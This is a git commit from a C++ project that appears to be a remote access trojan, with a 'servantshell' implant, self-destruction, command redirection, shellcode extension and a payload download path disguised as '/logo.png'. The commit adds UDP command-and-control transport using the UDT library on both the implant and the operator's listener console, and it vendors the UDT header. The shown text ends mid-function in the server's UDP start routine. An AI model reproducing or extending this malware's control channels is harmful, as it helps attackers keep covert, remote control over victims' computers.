support udp.

This commit is contained in:
floyd 2015-07-12 19:42:10 +08:00
parent 5c7fac087d
commit f38b58b6ea
24 changed files with 854 additions and 45 deletions

View File

@ -7,7 +7,7 @@ Coded in C++ (using VS2010)
Features
---
* Support TCP,HTTP,HTTPS
* Support TCP,HTTP,HTTPS,UDP
* Serilize Protocol
* Support Non-UAC
* Shellcode Extension
@ -30,7 +30,7 @@ Build
ToDo
---
* ~~Reverse SOCKS5 Proxy~~
* Support UDP reliable transfer.
* ~~Support UDP reliable transfer.~~
* Shellcode extension SDK.
Contributing

358
base/include/udt/udt.h Normal file
View File

@ -0,0 +1,358 @@
/*****************************************************************************
Copyright (c) 2001 - 2011, The Board of Trustees of the University of Illinois.
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are
met:
* Redistributions of source code must retain the above
copyright notice, this list of conditions and the
following disclaimer.
* Redistributions in binary form must reproduce the
above copyright notice, this list of conditions
and the following disclaimer in the documentation
and/or other materials provided with the distribution.
* Neither the name of the University of Illinois
nor the names of its contributors may be used to
endorse or promote products derived from this
software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS
IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*****************************************************************************/
/*****************************************************************************
written by
Yunhong Gu, last updated 01/18/2011
*****************************************************************************/
#ifndef __UDT_H__
#define __UDT_H__
#define UDT_EXPORTS
#ifndef WIN32
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#else
#ifdef __MINGW__
#include <stdint.h>
#include <ws2tcpip.h>
#endif
#include <windows.h>
#endif
#include <fstream>
#include <set>
#include <string>
#include <vector>
////////////////////////////////////////////////////////////////////////////////
//if compiling on VC6.0 or pre-WindowsXP systems
//use -DLEGACY_WIN32
//if compiling with MinGW, it only works on XP or above
//use -D_WIN32_WINNT=0x0501
#ifdef WIN32
#ifndef __MINGW__
// Explicitly define 32-bit and 64-bit numbers
typedef __int32 int32_t;
typedef __int64 int64_t;
typedef unsigned __int32 uint32_t;
#ifndef LEGACY_WIN32
typedef unsigned __int64 uint64_t;
#else
// VC 6.0 does not support unsigned __int64: may cause potential problems.
typedef __int64 uint64_t;
#endif
#ifdef UDT_EXPORTS
#define UDT_API __declspec(dllexport)
#else
#define UDT_API __declspec(dllimport)
#endif
#else
#define UDT_API
#endif
#else
#define UDT_API __attribute__ ((visibility("default")))
#endif
#define NO_BUSY_WAITING
#ifdef WIN32
#ifndef __MINGW__
typedef SOCKET SYSSOCKET;
#else
typedef int SYSSOCKET;
#endif
#else
typedef int SYSSOCKET;
#endif
typedef SYSSOCKET UDPSOCKET;
typedef int UDTSOCKET;
////////////////////////////////////////////////////////////////////////////////
typedef std::set<UDTSOCKET> ud_set;
#define UD_CLR(u, uset) ((uset)->erase(u))
#define UD_ISSET(u, uset) ((uset)->find(u) != (uset)->end())
#define UD_SET(u, uset) ((uset)->insert(u))
#define UD_ZERO(uset) ((uset)->clear())
enum EPOLLOpt
{
// this values are defined same as linux epoll.h
// so that if system values are used by mistake, they should have the same effect
UDT_EPOLL_IN = 0x1,
UDT_EPOLL_OUT = 0x4,
UDT_EPOLL_ERR = 0x8
};
enum UDTSTATUS {INIT = 1, OPENED, LISTENING, CONNECTING, CONNECTED, BROKEN, CLOSING, CLOSED, NONEXIST};
////////////////////////////////////////////////////////////////////////////////
enum UDTOpt
{
UDT_MSS, // the Maximum Transfer Unit
UDT_SNDSYN, // if sending is blocking
UDT_RCVSYN, // if receiving is blocking
UDT_CC, // custom congestion control algorithm
UDT_FC, // Flight flag size (window size)
UDT_SNDBUF, // maximum buffer in sending queue
UDT_RCVBUF, // UDT receiving buffer size
UDT_LINGER, // waiting for unsent data when closing
UDP_SNDBUF, // UDP sending buffer size
UDP_RCVBUF, // UDP receiving buffer size
UDT_MAXMSG, // maximum datagram message size
UDT_MSGTTL, // time-to-live of a datagram message
UDT_RENDEZVOUS, // rendezvous connection mode
UDT_SNDTIMEO, // send() timeout
UDT_RCVTIMEO, // recv() timeout
UDT_REUSEADDR, // reuse an existing port or create a new one
UDT_MAXBW, // maximum bandwidth (bytes per second) that the connection can use
UDT_STATE, // current socket state, see UDTSTATUS, read only
UDT_EVENT, // current avalable events associated with the socket
UDT_SNDDATA, // size of data in the sending buffer
UDT_RCVDATA // size of data available for recv
};
////////////////////////////////////////////////////////////////////////////////
struct CPerfMon
{
// global measurements
int64_t msTimeStamp; // time since the UDT entity is started, in milliseconds
int64_t pktSentTotal; // total number of sent data packets, including retransmissions
int64_t pktRecvTotal; // total number of received packets
int pktSndLossTotal; // total number of lost packets (sender side)
int pktRcvLossTotal; // total number of lost packets (receiver side)
int pktRetransTotal; // total number of retransmitted packets
int pktSentACKTotal; // total number of sent ACK packets
int pktRecvACKTotal; // total number of received ACK packets
int pktSentNAKTotal; // total number of sent NAK packets
int pktRecvNAKTotal; // total number of received NAK packets
int64_t usSndDurationTotal; // total time duration when UDT is sending data (idle time exclusive)
// local measurements
int64_t pktSent; // number of sent data packets, including retransmissions
int64_t pktRecv; // number of received packets
int pktSndLoss; // number of lost packets (sender side)
int pktRcvLoss; // number of lost packets (receiver side)
int pktRetrans; // number of retransmitted packets
int pktSentACK; // number of sent ACK packets
int pktRecvACK; // number of received ACK packets
int pktSentNAK; // number of sent NAK packets
int pktRecvNAK; // number of received NAK packets
double mbpsSendRate; // sending rate in Mb/s
double mbpsRecvRate; // receiving rate in Mb/s
int64_t usSndDuration; // busy sending time (i.e., idle time exclusive)
// instant measurements
double usPktSndPeriod; // packet sending period, in microseconds
int pktFlowWindow; // flow window size, in number of packets
int pktCongestionWindow; // congestion window size, in number of packets
int pktFlightSize; // number of packets on flight
double msRTT; // RTT, in milliseconds
double mbpsBandwidth; // estimated bandwidth, in Mb/s
int byteAvailSndBuf; // available UDT sender buffer size
int byteAvailRcvBuf; // available UDT receiver buffer size
};
////////////////////////////////////////////////////////////////////////////////
class UDT_API CUDTException
{
public:
CUDTException(int major = 0, int minor = 0, int err = -1);
CUDTException(const CUDTException& e);
virtual ~CUDTException();
// Functionality:
// Get the description of the exception.
// Parameters:
// None.
// Returned value:
// Text message for the exception description.
virtual const char* getErrorMessage();
// Functionality:
// Get the system errno for the exception.
// Parameters:
// None.
// Returned value:
// errno.
virtual int getErrorCode() const;
// Functionality:
// Clear the error code.
// Parameters:
// None.
// Returned value:
// None.
virtual void clear();
private:
int m_iMajor; // major exception categories
// 0: correct condition
// 1: network setup exception
// 2: network connection broken
// 3: memory exception
// 4: file exception
// 5: method not supported
// 6+: undefined error
int m_iMinor; // for specific error reasons
int m_iErrno; // errno returned by the system if there is any
std::string m_strMsg; // text error message
std::string m_strAPI; // the name of UDT function that returns the error
std::string m_strDebug; // debug information, set to the original place that causes the error
public: // Error Code
static const int SUCCESS;
static const int ECONNSETUP;
static const int ENOSERVER;
static const int ECONNREJ;
static const int ESOCKFAIL;
static const int ESECFAIL;
static const int ECONNFAIL;
static const int ECONNLOST;
static const int ENOCONN;
static const int ERESOURCE;
static const int ETHREAD;
static const int ENOBUF;
static const int EFILE;
static const int EINVRDOFF;
static const int ERDPERM;
static const int EINVWROFF;
static const int EWRPERM;
static const int EINVOP;
static const int EBOUNDSOCK;
static const int ECONNSOCK;
static const int EINVPARAM;
static const int EINVSOCK;
static const int EUNBOUNDSOCK;
static const int ENOLISTEN;
static const int ERDVNOSERV;
static const int ERDVUNBOUND;
static const int ESTREAMILL;
static const int EDGRAMILL;
static const int EDUPLISTEN;
static const int ELARGEMSG;
static const int EINVPOLLID;
static const int EASYNCFAIL;
static const int EASYNCSND;
static const int EASYNCRCV;
static const int ETIMEOUT;
static const int EPEERERR;
static const int EUNKNOWN;
};
////////////////////////////////////////////////////////////////////////////////
// If you need to export these APIs to be used by a different language,
// declare extern "C" for them, and add a "udt_" prefix to each API.
// The following APIs: sendfile(), recvfile(), epoll_wait(), geterrormsg(),
// include C++ specific feature, please use the corresponding sendfile2(), etc.
namespace UDT
{
typedef CUDTException ERRORINFO;
typedef UDTOpt SOCKOPT;
typedef CPerfMon TRACEINFO;
typedef ud_set UDSET;
UDT_API extern const UDTSOCKET INVALID_SOCK;
#undef ERROR
UDT_API extern const int ERROR;
UDT_API int startup();
UDT_API int cleanup();
UDT_API UDTSOCKET socket(int af, int type, int protocol);
UDT_API int bind(UDTSOCKET u, const struct sockaddr* name, int namelen);
UDT_API int bind2(UDTSOCKET u, UDPSOCKET udpsock);
UDT_API int listen(UDTSOCKET u, int backlog);
UDT_API UDTSOCKET accept(UDTSOCKET u, struct sockaddr* addr, int* addrlen);
UDT_API int connect(UDTSOCKET u, const struct sockaddr* name, int namelen);
UDT_API int close(UDTSOCKET u);
UDT_API int getpeername(UDTSOCKET u, struct sockaddr* name, int* namelen);
UDT_API int getsockname(UDTSOCKET u, struct sockaddr* name, int* namelen);
UDT_API int getsockopt(UDTSOCKET u, int level, SOCKOPT optname, void* optval, int* optlen);
UDT_API int setsockopt(UDTSOCKET u, int level, SOCKOPT optname, const void* optval, int optlen);
UDT_API int send(UDTSOCKET u, const char* buf, int len, int flags);
UDT_API int recv(UDTSOCKET u, char* buf, int len, int flags);
UDT_API int sendmsg(UDTSOCKET u, const char* buf, int len, int ttl = -1, bool inorder = false);
UDT_API int recvmsg(UDTSOCKET u, char* buf, int len);
UDT_API int64_t sendfile(UDTSOCKET u, std::fstream& ifs, int64_t& offset, int64_t size, int block = 364000);
UDT_API int64_t recvfile(UDTSOCKET u, std::fstream& ofs, int64_t& offset, int64_t size, int block = 7280000);
UDT_API int64_t sendfile2(UDTSOCKET u, const char* path, int64_t* offset, int64_t size, int block = 364000);
UDT_API int64_t recvfile2(UDTSOCKET u, const char* path, int64_t* offset, int64_t size, int block = 7280000);
// select and selectEX are DEPRECATED; please use epoll.
UDT_API int select(int nfds, UDSET* readfds, UDSET* writefds, UDSET* exceptfds, const struct timeval* timeout);
UDT_API int selectEx(const std::vector<UDTSOCKET>& fds, std::vector<UDTSOCKET>* readfds,
std::vector<UDTSOCKET>* writefds, std::vector<UDTSOCKET>* exceptfds, int64_t msTimeOut);
UDT_API int epoll_create();
UDT_API int epoll_add_usock(int eid, UDTSOCKET u, const int* events = NULL);
UDT_API int epoll_add_ssock(int eid, SYSSOCKET s, const int* events = NULL);
UDT_API int epoll_remove_usock(int eid, UDTSOCKET u);
UDT_API int epoll_remove_ssock(int eid, SYSSOCKET s);
UDT_API int epoll_wait(int eid, std::set<UDTSOCKET>* readfds, std::set<UDTSOCKET>* writefds, int64_t msTimeOut,
std::set<SYSSOCKET>* lrfds = NULL, std::set<SYSSOCKET>* wrfds = NULL);
UDT_API int epoll_wait2(int eid, UDTSOCKET* readfds, int* rnum, UDTSOCKET* writefds, int* wnum, int64_t msTimeOut,
SYSSOCKET* lrfds = NULL, int* lrnum = NULL, SYSSOCKET* lwfds = NULL, int* lwnum = NULL);
UDT_API int epoll_release(int eid);
UDT_API ERRORINFO& getlasterror();
UDT_API int getlasterror_code();
UDT_API const char* getlasterror_desc();
UDT_API int perfmon(UDTSOCKET u, TRACEINFO* perf, bool clear = true);
UDT_API UDTSTATUS getsockstate(UDTSOCKET u);
} // namespace UDT
#endif

BIN
base/lib/x86/udt.lib Normal file

Binary file not shown.

BIN
base/lib/x86/udtd.lib Normal file

Binary file not shown.

View File

@ -2,6 +2,7 @@
#include "env/Wow64.h"
#include "HttpComm.h"
#include "TcpComm.h"
#include "UdpComm.h"
#include "common.h"
#include "Manager.h"
#include "CommManager.h"
@ -26,6 +27,7 @@ BOOL CommManager::Init()
m_commList[COMMNAME_HTTP] = new HttpComm;
m_commList[COMMNAME_HTTPS] = new HttpComm(TRUE);
m_commList[COMMNAME_TCP] = new TcpComm;
m_commList[COMMNAME_UDP] = new UdpComm;
m_hExitEvent = ::CreateEvent(NULL, FALSE, FALSE, NULL);
if (! m_hExitEvent.IsValid())
@ -202,6 +204,11 @@ BOOL CommManager::Str2Commname( LPCTSTR str, COMM_NAME& commName ) const
{
commName = COMMNAME_TCP;
}
else if (_tcscmp(str, _T("udp")) == 0)
{
commName = COMMNAME_UDP;
}
return (COMMNAME_MAX != commName);
}
@ -219,6 +226,9 @@ BOOL CommManager::Commname2Str( COMM_NAME commName, tstring& str ) const
case COMMNAME_TCP:
str = _T("tcp");
break;
case COMMNAME_UDP:
str = _T("udp");
break;
default:
str = _T("invalid");
return FALSE;

View File

@ -34,7 +34,7 @@ BOOL TcpComm::SendAndRecv( ULONG targetIP, const LPBYTE pSendData, DWORD dwSendS
if (iRecv < 0)
{
errorLog(_T("recv http failed WE%d"), ::WSAGetLastError());
errorLog(_T("recv tcp failed WE%d"), ::WSAGetLastError());
}
//复制数据

View File

@ -0,0 +1,122 @@
#include "StdAfx.h"
#include <WS2tcpip.h>
#include "UdpComm.h"
#include "UdpDefines.h"
#ifdef _DEBUG
#pragma comment(lib,"udtd.lib")
#else
#pragma comment(lib,"udt.lib")
#endif
UdpComm::UdpComm(void)
{
UDT::startup();
}
UdpComm::~UdpComm(void)
{
CloseHandle(m_hRecvEvent);
}
BOOL UdpComm::Send( ULONG targetIP, const LPBYTE pData, DWORD dwSize )
{
IN_ADDR addr;
addr.S_un.S_addr = targetIP;
ByteBuffer sendByteBuffer;
sendByteBuffer.Alloc(dwSize);
memcpy((LPBYTE)sendByteBuffer, pData, dwSize);
BOOL bSentOK = FALSE;
int sent = UDT::send(m_sock,(char*)((LPBYTE)sendByteBuffer), sendByteBuffer.Size(),0);
if ( sent != sendByteBuffer.Size() )
{
if ( Connect(targetIP, g_ConfigInfo.nPort))
{
UDT::send(m_sock,(char*)((LPBYTE)sendByteBuffer), sendByteBuffer.Size(),0);
sent = sendByteBuffer.Size();
}
else
{
debugLog(_T("connect %x %s failed"), targetIP, a2t(inet_ntoa(addr)));
}
}
return sent == sendByteBuffer.Size();
}
BOOL UdpComm::SendAndRecv( ULONG targetIP, const LPBYTE pSendData, DWORD dwSendSize, LPBYTE* pRecvData, DWORD& dwRecvSize )
{
UDP_HEADER sendHead;
sendHead.flag = UDP_FLAG;
sendHead.nSize = dwSendSize;
if (! Send( targetIP, (PBYTE)&sendHead, sizeof(UDP_HEADER))) return FALSE;
if (! Send( targetIP, pSendData, dwSendSize)) return FALSE;
UDP_HEADER recvHead = {0};
int iRecv = UDT::recv(m_sock,(char*)&recvHead, sizeof(UDP_HEADER),0);
if (iRecv < 0)
{
errorLog(_T("recv udp failed WE%d"), ::WSAGetLastError());
}
ByteBuffer buffer;
buffer.Alloc(recvHead.nSize);
iRecv = UDT::recv(m_sock,(char*)((LPBYTE)buffer),recvHead.nSize,0);
if (iRecv < 0)
{
errorLog(_T("recv http failed WE%d"), ::WSAGetLastError());
}
//¸´ÖÆÊý¾Ý
*pRecvData = Alloc(recvHead.nSize);
memcpy(*pRecvData, (LPBYTE)buffer, recvHead.nSize);
dwRecvSize = recvHead.nSize;
return TRUE;
}
BOOL UdpComm::Connect( ULONG targetIP,int port )
{
struct addrinfo hints, *peer;
memset(&hints, 0, sizeof(struct addrinfo));
hints.ai_flags = AI_PASSIVE;
hints.ai_family = AF_INET;
hints.ai_socktype = SOCK_STREAM;
m_sock = UDT::socket(hints.ai_family, hints.ai_socktype, hints.ai_protocol);
IN_ADDR addr;
addr.S_un.S_addr = targetIP;
char* ip = inet_ntoa(addr);
char szPort[255] = {0};
sprintf_s(szPort,"%d",port);
if (0 != getaddrinfo(ip, szPort , &hints, &peer))
{
errorLog(_T("incorrect server/peer address. "));
return FALSE;
}
if (UDT::ERROR == UDT::connect(m_sock, peer->ai_addr, peer->ai_addrlen))
{
UDT::close(m_sock);
return FALSE;
}
return TRUE;
}

View File

@ -0,0 +1,27 @@
#pragma once
#include "IComm.h"
#include <Winsock2.h>
#include "MessageDefines.h"
#include "udt/udt.h"
class UdpComm: public IComm
{
public:
UdpComm(void);
~UdpComm(void);
public:
//ʵÏÖIComm½Ó¿Ú
virtual COMM_NAME GetName() {return COMMNAME_UDP; };
virtual DWORD GetMaxDataSizePerPacket() {return UDP_COMM_REQUEST_MAXSIZE;};
virtual BOOL Send( ULONG targetIP, const LPBYTE pData, DWORD dwSize );
virtual BOOL SendAndRecv( ULONG targetIP, const LPBYTE pSendData, DWORD dwSendSize, LPBYTE* pRecvData, DWORD& dwRecvSize );
private:
BOOL Connect(ULONG targetIP,int port);
UDTSOCKET m_sock;
HANDLE m_hRecvEvent;
};

View File

@ -97,7 +97,7 @@
<GenerateDebugInformation>true</GenerateDebugInformation>
<ModuleDefinitionFile>body.def</ModuleDefinitionFile>
<ImportLibrary>..\..\libsD\$(TargetName).lib</ImportLibrary>
<AdditionalLibraryDirectories>..\..\libsD\</AdditionalLibraryDirectories>
<AdditionalLibraryDirectories>..\..\libsD\;..\..\..\base\lib\x86\</AdditionalLibraryDirectories>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
@ -137,7 +137,7 @@
<OptimizeReferences>true</OptimizeReferences>
<ModuleDefinitionFile>body.def</ModuleDefinitionFile>
<ImportLibrary>..\..\libs\$(TargetName).lib</ImportLibrary>
<AdditionalLibraryDirectories>..\..\libs\</AdditionalLibraryDirectories>
<AdditionalLibraryDirectories>..\..\libs\;..\..\..\base\lib\x86\</AdditionalLibraryDirectories>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
@ -182,7 +182,6 @@
<ClInclude Include="..\..\..\common\CommonHeader.h" />
<ClInclude Include="..\..\..\common\CutupProtocol.h" />
<ClInclude Include="..\..\..\common\CutupProtocolStructs.h" />
<ClInclude Include="..\..\..\common\DnsResolver.h" />
<ClInclude Include="..\..\..\common\CommNames.h" />
<ClInclude Include="..\..\..\common\FileParser.h" />
<ClInclude Include="..\..\..\common\MessageDefines.h" />
@ -207,6 +206,7 @@
<ClInclude Include="stdafx.h" />
<ClInclude Include="targetver.h" />
<ClInclude Include="TcpComm.h" />
<ClInclude Include="UdpComm.h" />
</ItemGroup>
<ItemGroup>
<ClCompile Include="..\..\..\base\include\destruction\SelfDestruction.cpp" />
@ -220,7 +220,6 @@
<ClCompile Include="..\..\..\base\include\winhttp\http.cpp" />
<ClCompile Include="..\..\..\common\CommData.cpp" />
<ClCompile Include="..\..\..\common\CutupProtocol.cpp" />
<ClCompile Include="..\..\..\common\DnsResolver.cpp" />
<ClCompile Include="..\..\..\common\FileParser.cpp" />
<ClCompile Include="CmdRedirector.cpp" />
<ClCompile Include="CommManager.cpp" />
@ -242,6 +241,7 @@
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">Create</PrecompiledHeader>
</ClCompile>
<ClCompile Include="TcpComm.cpp" />
<ClCompile Include="UdpComm.cpp" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">

View File

@ -28,9 +28,6 @@
<Filter Include="comm\http">
<UniqueIdentifier>{60dd0ce9-2ec6-4d46-a40d-69346d849108}</UniqueIdentifier>
</Filter>
<Filter Include="comm\dns">
<UniqueIdentifier>{e8ce96c7-452b-4c91-96d3-0bb43cf0cb4f}</UniqueIdentifier>
</Filter>
<Filter Include="module">
<UniqueIdentifier>{59a90d9f-b3ee-45b0-9a74-1c16c68c0737}</UniqueIdentifier>
</Filter>
@ -67,6 +64,9 @@
<Filter Include="comm\tcp">
<UniqueIdentifier>{eba6ed8f-e10d-4396-8492-251f66aabc0e}</UniqueIdentifier>
</Filter>
<Filter Include="comm\udp">
<UniqueIdentifier>{733f9141-9f46-4a37-9272-b68b1dfec55e}</UniqueIdentifier>
</Filter>
</ItemGroup>
<ItemGroup>
<None Include="body.def">
@ -131,9 +131,6 @@
<ClInclude Include="..\..\..\common\BinNames.h">
<Filter>global_common</Filter>
</ClInclude>
<ClInclude Include="..\..\..\common\DnsResolver.h">
<Filter>comm\dns</Filter>
</ClInclude>
<ClInclude Include="..\..\..\common\CutupProtocol.h">
<Filter>global_common</Filter>
</ClInclude>
@ -200,6 +197,9 @@
<ClInclude Include="..\..\..\base\include\winhttp\http.h">
<Filter>comm\http</Filter>
</ClInclude>
<ClInclude Include="UdpComm.h">
<Filter>comm\udp</Filter>
</ClInclude>
</ItemGroup>
<ItemGroup>
<ClCompile Include="stdafx.cpp">
@ -235,9 +235,6 @@
<ClCompile Include="..\..\..\base\include\file\MyFile.cpp">
<Filter>include\file</Filter>
</ClCompile>
<ClCompile Include="..\..\..\common\DnsResolver.cpp">
<Filter>comm\dns</Filter>
</ClCompile>
<ClCompile Include="..\..\..\common\CutupProtocol.cpp">
<Filter>global_common</Filter>
</ClCompile>
@ -286,5 +283,8 @@
<ClCompile Include="..\..\..\base\include\winhttp\http.cpp">
<Filter>comm\http</Filter>
</ClCompile>
<ClCompile Include="UdpComm.cpp">
<Filter>comm\udp</Filter>
</ClCompile>
</ItemGroup>
</Project>

View File

@ -225,7 +225,7 @@ SHELL_API BOOL Init(BOOL bWait)
debugLog(_T("init servantshell. filepath is %s%s"), GetBinFilepath(), GetBinFilename());
#ifdef _DEBUG
g_ConfigInfo.nDefaultCommType = COMMNAME_HTTPS;
g_ConfigInfo.nDefaultCommType = COMMNAME_UDP;
g_ConfigInfo.nPort = 8082;
g_ConfigInfo.nFirstConnectHour = -1;
g_ConfigInfo.nFirstConnectMinute = -1;

View File

@ -9,9 +9,13 @@
//不同通信方式默认最大包的长度
#define HTTP_COMM_REQUEST_MAXSIZE (32 * 1024)
#define HTTP_COMM_REPLY_MAXSIZE (32 * 1024)
#define TCP_COMM_REQUEST_MAXSIZE (32 * 1024)
#define TCP_COMM_REPLY_MAXSIZE (32 * 1024)
#define UDP_COMM_REQUEST_MAXSIZE (32 * 1024)
#define UDP_COMM_REPLY_MAXSIZE (32 * 1024)
#define DOWNLOAD_SERVANT_CMD TEXT("/logo.png")
#define MSGIDBASE 0LL

12
common/UdpDefines.h Normal file
View File

@ -0,0 +1,12 @@
#pragma once
#include <map>
#define UDP_FLAG 0xAFAFBFBA
//TCP관庫
typedef struct
{
DWORD flag;
int nSize;
}UDP_HEADER,*PUDPHEADER;

View File

@ -51,6 +51,9 @@ void CListenDlg::InitView()
m_protoList.InsertString(2,_T("TCP"));
m_protoList.SetItemData(2,COMMNAME_TCP);
m_protoList.InsertString(3,_T("UDP"));
m_protoList.SetItemData(3,COMMNAME_UDP);
m_protoList.SetCurSel(0);
SetDlgItemText(IDC_EDIT_PORT,_T("80"));
@ -113,18 +116,25 @@ void CListenDlg::OnBnClickedButtonStart()
strPort.Format(_T("%d"),port);
CString strProtocol;
if (sel == 0)
int data = m_protoList.GetItemData(sel);
if (data == COMMNAME_HTTP)
{
strProtocol = _T("HTTP");
}
else if (sel == 1)
else if (data == COMMNAME_HTTPS)
{
strProtocol = _T("HTTPS");
}
else if (sel == 2)
else if (data == COMMNAME_TCP)
{
strProtocol = _T("TCP");
}
else if (data == COMMNAME_UDP)
{
strProtocol = _T("UDP");
}
m_listenList.InsertItem(nCount,strProtocol,0);
m_listenList.SetItemText(nCount,1,strPort);
@ -209,7 +219,7 @@ void CListenDlg::OnCbnSelchangeComboProto()
SetDlgItemText(IDC_EDIT_PORT,_T("80"));
GetDlgItem(IDC_EDIT_PORT)->EnableWindow(TRUE);
}
if(data == COMMNAME_HTTPS)
else if(data == COMMNAME_HTTPS)
{
SetDlgItemText(IDC_EDIT_PORT,_T("443"));
GetDlgItem(IDC_EDIT_PORT)->EnableWindow(TRUE);
@ -219,6 +229,11 @@ void CListenDlg::OnCbnSelchangeComboProto()
SetDlgItemText(IDC_EDIT_PORT,_T("8082"));
GetDlgItem(IDC_EDIT_PORT)->EnableWindow(TRUE);
}
else if(data == COMMNAME_UDP)
{
SetDlgItemText(IDC_EDIT_PORT,_T("8082"));
GetDlgItem(IDC_EDIT_PORT)->EnableWindow(TRUE);
}
}

View File

@ -345,6 +345,9 @@ void ClientInfoManager::TransferInfo( LPCTSTR clientid, const CLIENT_BASE_INFO*
case COMMNAME_TCP:
_tcscpy_s(info.proto,_T("TCP"));
break;
case COMMNAME_UDP:
_tcscpy_s(info.proto,_T("UDP"));
break;
default:
break;
}

View File

@ -9,6 +9,7 @@
#include "Tcp.h"
#include "DnsResolver.h"
#include "mongoose/mongoose.h"
#include "Udp.h"
#pragma comment(lib, "libeay32.lib")
#pragma comment(lib, "ssleay32.lib")
@ -29,6 +30,8 @@ BOOL CommManager::Init()
WSAData wsaData = {0};
::WSAStartup(MAKEWORD(2, 2), &wsaData);
UDT::startup();
if (! m_cp.Init())
{
errorLog(_T("init cutup protocol failed"));
@ -143,7 +146,26 @@ int CommManager::AddCommService(int port,int name)
info.lpParameter1 = server;
info.lpParameter2 = (LPVOID)tid;
info.nCommName = COMMNAME_HTTP;
info.nCommName = COMMNAME_HTTPS;
m_commMap.insert(MAKE_PAIR(COMM_MAP,serial,info));
ret = serial;
break;
}
case COMMNAME_UDP:
{
CUdp *udp = new CUdp;
udp->Init();
if (!udp->Start(port,UdpMsgHandler))
{
delete udp;
break;
}
info.nCommName = COMMNAME_UDP;
info.lpParameter1 = udp;
m_commMap.insert(MAKE_PAIR(COMM_MAP,serial,info));
@ -151,24 +173,6 @@ int CommManager::AddCommService(int port,int name)
break;
}
// case COMMNAME_DNS:
// {
// UdpServer* DnsServer = new UdpServer;
// DnsServer->Init(UdpMsgHandler,this);
//
// if (! DnsServer->Start(port))
// {
// delete DnsServer;
// return 0;
// }
//
// info.lpParameter = DnsServer;
// info.nCommName = COMMNAME_DNS;
//
// m_commMap.insert(MAKE_PAIR(COMM_MAP,serial,info));
//
// break;
// }
case COMMNAME_TCP:
{
CTcp *tcp = new CTcp;
@ -212,6 +216,24 @@ BOOL CommManager::DeleteCommService(int serialid)
m_commMap.erase(it);
break;
}
case COMMNAME_HTTPS:
{
TerminateThread(info.lpParameter2,0);
mg_destroy_server((mg_server**)&info.lpParameter1);
m_commMap.erase(it);
break;
}
case COMMNAME_UDP:
{
CUdp *udp = (CUdp *)info.lpParameter1;
udp->Stop();
m_commMap.erase(it);
break;
}
case COMMNAME_TCP:
@ -466,6 +488,14 @@ void CommManager::HandleMsgByMsgHandler( MSGID msgid, const CommData& commData )
}
}
}
BOOL CommManager::UdpMsgHandler( LPBYTE data,DWORD size,SOCKADDR_IN sin,ByteBuffer& toSender )
{
BOOL bValidData = FALSE;
return CommManager::GetInstanceRef().HandleMessageAndReply(sin,data , size, COMMNAME_UDP, bValidData, UDP_COMM_REPLY_MAXSIZE, toSender);
}
BOOL CommManager::TcpMsgHandler( LPBYTE data,DWORD size,SOCKADDR_IN sin,ByteBuffer& toSender )
{
BOOL bValidData = FALSE;

View File

@ -92,6 +92,7 @@ private:
static void HttpPollThread(LPVOID lpParameter);
static BOOL TcpMsgHandler(LPBYTE data,DWORD size,SOCKADDR_IN sin,ByteBuffer& toSender);
static BOOL UdpMsgHandler(LPBYTE data,DWORD size,SOCKADDR_IN sin,ByteBuffer& toSender);
private:
ICMPSocket m_icmpSocket;

View File

@ -14,8 +14,6 @@ CTcp::~CTcp(void)
void CTcp::Init()
{
WSADATA data;
WSAStartup(MAKEWORD(2,2),&data);
}
void CTcp::Stop()

View File

@ -6,8 +6,6 @@
typedef BOOL (*tcpHandler)(LPBYTE data,DWORD size,SOCKADDR_IN sin,ByteBuffer& toSender);
typedef std::vector<SOCKET> VecSocket;
typedef struct
{
SOCKET s;
@ -23,6 +21,8 @@ public:
CTcp(void);
~CTcp(void);
typedef std::vector<SOCKET> VecSocket;
void Init();
bool Start(int port , tcpHandler handler);
void Stop();

View File

@ -0,0 +1,176 @@
#include "StdAfx.h"
#include "Udp.h"
#include <string>
#include <WinSock2.h>
#include <WS2tcpip.h>
#pragma comment(lib, "ws2_32.lib")
#ifdef _DEBUG
#pragma comment(lib,"udtd.lib")
#else
#pragma comment(lib,"udt.lib")
#endif
CUdp::CUdp(void)
{
}
CUdp::~CUdp(void)
{
}
void CUdp::Init()
{
}
BOOL CUdp::Start(int port, udpHandler handler)
{
bool ret = FALSE;
addrinfo hints;
addrinfo* res;
memset(&hints, 0, sizeof(struct addrinfo));
hints.ai_flags = AI_PASSIVE;
hints.ai_family = AF_INET;
hints.ai_socktype = SOCK_STREAM;
char szPort[255] = {0};
sprintf_s(szPort,"%d",port);
std::string service(szPort);
do
{
if (0 != getaddrinfo(NULL, service.c_str(), &hints, &res))
break;
m_sock = UDT::socket(res->ai_family, res->ai_socktype, res->ai_protocol);
int mss = UDP_COMM_REPLY_MAXSIZE * 2;
UDT::setsockopt(m_sock, 0, UDT_MSS, &mss, sizeof(int));
if (UDT::ERROR == UDT::bind(m_sock, res->ai_addr, res->ai_addrlen))
break;
UDP_ARGV* argv = new UDP_ARGV;
argv->handler = handler;
